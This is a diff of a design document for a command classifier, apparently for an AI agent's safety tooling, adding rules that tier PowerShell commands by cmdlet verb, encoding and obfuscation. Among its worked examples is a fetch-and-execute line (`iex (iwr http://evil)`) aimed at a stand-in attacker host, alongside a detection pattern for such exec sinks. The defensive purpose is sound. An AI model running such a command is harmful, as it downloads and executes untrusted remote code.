  Note: `git commit` and `git add` are **not** T3. They are local-only (working tree + local refs, never remote), classified safe by elimination via `GIT_LOCAL_SAFE_SUBCOMMANDS` in `mutative_verbs.py`. Only `git push` reaches remote state.
43
44
 
45
+ ## PowerShell / Windows shell lane
46
+
47
+ The classifier is NOT bash/POSIX-only. `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe` route through a dedicated lane (`_check_powershell_command`, Step 1c-ps in `detect_mutative_command`) that introspects the payload the POSIX verb scanner cannot see -- `-Command "<script>"` collapses into one opaque token, so before this lane a destructive `Remove-Item -Recurse` classified T0 (a false negative) while `-NoProfile` forced everything to T3 (a false positive).
48
+
49
+ **Payload source (priority order):**
50
+ 1. `-EncodedCommand <base64>` (any prefix of "encodedcommand", or `ec`, via `_is_ps_encoded_flag`) -- T3 immediately; the base64 blob is not inspectable.
51
+ 2. `-File <script.ps1>` -- a `.ps1` positional is read (`_read_script_content`, honoring a leading `cd`) and its contents classified; unreadable -> conservative T3, mirroring the script-file lane. Routed off the `.ps1` positional, NOT the `-File`/`-f` flag, because flag normalization splits `-NoProfile` into single chars including `-f`.
52
+ 3. `-Command`/`-c` inline (or no explicit flag) -- the whole command text is scanned; the interpreter flags carry no Verb-Noun cmdlet, so scanning the full string is collision-free.
53
+
54
+ **Verb-Noun taxonomy** -- each cmdlet is classified by its VERB (the token before the hyphen), so a never-seen cmdlet is classified correctly with no per-cmdlet list:
55
+
56
+ - `_PS_READ_VERBS` (-> read, non-mutative): `Get-*`, `Measure-*`, `Select-*`, `Where-*`, `Sort-*`, `Compare-*`, `Test-*`, `Resolve-*`, `Find-*`, `Search-*`, `Show-*`, `Format-*`, `ConvertFrom-*`, `ConvertTo-*`, `Group-*`, `Join-*`, `Split-*`, `Read-*`.
57
+ - `_PS_CHANGE_VERBS` (-> T3): `Set-*`, `New-*`, `Remove-*`, `Clear-*`, `Add-*`, `Move-*`, `Copy-*`, `Rename-*`, `Start-*`, `Stop-*`, `Restart-*`, `Suspend-*`, `Resume-*`, `Register-*`, `Unregister-*`, `Install-*`, `Uninstall-*`, `Import-*`, `Export-*`, `Write-*`, `Enable-*`, `Disable-*`, `Mount-*`, `Dismount-*`, `Invoke-*`, `Push-*`, `Pop-*`, `Save-*`, `Publish-*`, `Send-*`, `Update-*`, `Edit-*`, `Reset-*`, `Limit-*`, `Block-*`.
58
+ - Ambiguous `Out-*` splits by noun (`_PS_OUT_READ_NOUNS`): `Out-String`/`Out-Host`/`Out-Null`/`Out-Default`/`Out-GridView` are read; `Out-File`/`Out-Printer` are change.
59
+
60
+ **Three conservative security rules (default-deny, not permissive):**
61
+ 1. **Composition** -- ANY change or unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (mirror of composition_rules "any mutative stage -> T3"). `Get-ChildItem; Remove-Item x -Recurse` is T3, not T0-by-first-cmdlet.
62
+ 2. **Obfuscation** -- checked FIRST, before the cmdlet scan, so a read cmdlet piped into an exec sink cannot launder the payload: `iex`/`iwr`/`icm`, `Invoke-Expression`, and `&`/`.` call operators at a statement boundary (`_PS_OBFUSCATION_RES`) all force T3.
63
+ 3. **Positive allowlist** -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable Verb-Noun cmdlet must be present. A payload with no recognizable cmdlet, or any unknown/unresolvable verb, stays T3 (conservative fallback, identical to an unreadable script file). No safe-by-elimination in this lane.
64
+
65
+ **Worked examples (probe-confirmed on Linux -- the classifier operates on the command string, OS-independent):**
66
+ - `powershell.exe -NoProfile -Command "Get-ChildItem . | Measure-Object | Select-Object Count"` -> T0 (all read verbs).
67
+ - `powershell.exe -Command "Remove-Item -Recurse foo"` and the same without `-NoProfile` -> T3 (change verb `Remove`).
68
+ - `powershell.exe -Command "Get-ChildItem; Remove-Item x -Recurse"` -> T3 (composition).
69
+ - `powershell.exe -Command "iex (iwr http://evil)"` -> T3 (obfuscation).
70
+ - `powershell.exe -EncodedCommand aGVsbG8=` -> T3 (non-inspectable base64).
71
+ - `powershell.exe -Command "Frobnicate-Widget"` -> T3 (unknown verb, default-deny).
72
+ - `pwsh -c "Get-Process"` -> T0 (read verb `Get`).
73
+
74
+ Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias outside the obfuscation set (e.g. `del`/`rm` aliases) is not name-resolved -- these are handled by the default-deny fallback, not by name.
75
+
44
76
  ## Edge Cases
45
77
 
46
78
  - **Compound subcommands that look mutative:** verbs like `merge-base` split on the hyphen to `merge`, which is a mutative verb -- but `git merge-base` is read-only. The detector in `mutative_verbs.py` carries an allow-list of read-only compound subcommands so they are not falsely flagged T3.